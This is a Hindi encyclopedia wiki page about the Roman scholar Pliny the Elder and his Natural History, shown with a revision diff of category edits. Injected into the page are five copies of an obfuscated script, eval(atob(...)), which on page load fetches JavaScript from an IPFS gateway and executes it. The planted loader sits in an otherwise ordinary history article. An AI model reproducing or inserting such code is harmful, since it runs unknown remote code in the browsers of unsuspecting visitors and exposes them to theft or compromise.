"प्लिनी" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Adding category Category:विदेशी (को हटा दिया गया हैं।))
 
पंक्ति 8: पंक्ति 8:
 
*विश्वास किया जाता है कि उसका यह ग्रन्थ 77 ई. में प्रकाशित हुआ था।
 
*विश्वास किया जाता है कि उसका यह ग्रन्थ 77 ई. में प्रकाशित हुआ था।
  
 +
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
 +
==टीका टिप्पणी और संदर्भ==
 +
<references/>
 
==संबंधित लेख==
 
==संबंधित लेख==
{{दार्शनिक}}
+
{{दार्शनिक}}{{विदेशी अन्वेषक}}{{भारतीय अन्वेषक}}
{{विदेशी अन्वेषक}}
+
[[Category:अन्वेषक]][[Category:विदेशी अन्वेषक]]
[[Category:विदेशी अन्वेषक]] [[Category:वैज्ञानिक]]
+
[[Category:इतिहासकार]][[Category:इतिहास कोश]][[Category:चरित कोश]][[Category:दार्शनिक]][[Category:विदेशी]]
[[Category:इतिहासकार]]
 
[[Category:इतिहास कोश]]
 
[[Category:चरित कोश]]
 
[[Category:दार्शनिक]]
 
[[Category:विदेशी]]
 
 
__INDEX__
 
__INDEX__

10:43, 13 जनवरी 2020 के समय का अवतरण

प्लिनी (प्रथम शताब्दी) अथवा गुइस प्लिनस जो कि प्लिनी द एल्डर के रूप में अधिक विख्यात है, एक प्रमुख रोमन भूगोलवेत्ता था। इसके ग्रंथों से भारत के बारे में काफ़ी सूचनाएँ प्राप्त होती हैं, विशेषकर नेचुरल हिस्ट्री नामक ग्रन्थ से।

  • प्रथम शताब्दी के रोमन विद्वान, वैज्ञानिक, दार्शनिक व इतिहासकार प्लिनी ने यमुना को जोमेनस कहा है जो मेथोरा और क्लीसोबोरा के मध्य बहती थी ।
  • विश्वकोशीय ग्रंथों में प्राचीन रोमवासी प्लिनी की कृति नैचुरल हिस्ट्री हमारी विश्वकोश की आधुनिक अवधारणा के अधिक निकट है। यह मध्य युग का उच्च आधिकाधिक ग्रंथ है।
  • यह 37 खंडों एवं 2493 अध्यायों में विभक्त है जिसमें ग्रीकों के विश्वकोश के सभी विषयों का सन्निवेश है। प्लिनी के अनुसार इसमें 100 लेखकों के 2000 ग्रंथों से संग्रहीत 20,000 तथ्यों का समावेश है।
  • सन् 1536 से पूर्व इसके 43 संस्करण प्रकाशित हो चुके थे। इस युग की एक प्रसिद्ध कृति फ्रांसीसी भाषा में 19 खंडों में प्रणीत (सन् 1360) बार्थोलोमिव द ग्लैंविल का ग्रंथ डी प्रॉप्रिएटैटिबस रेरम था।
  • सन् 1495 में इसका अंग्रेज़ी अनुवाद प्रकाशित हुआ तथा सन् 1500 तक इसके 15 संस्करण निकल चुके थे।
  • प्लिनी के नेचुरल हिस्ट्री (प्राकृतिक इतिहास) नामक ग्रन्थ में प्रथम शताब्दी ईस्वी सन् के भारत के बारे में काफ़ी सूचनाएँ प्राप्त होती हैं।
  • विश्वास किया जाता है कि उसका यह ग्रन्थ 77 ई. में प्रकाशित हुआ था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>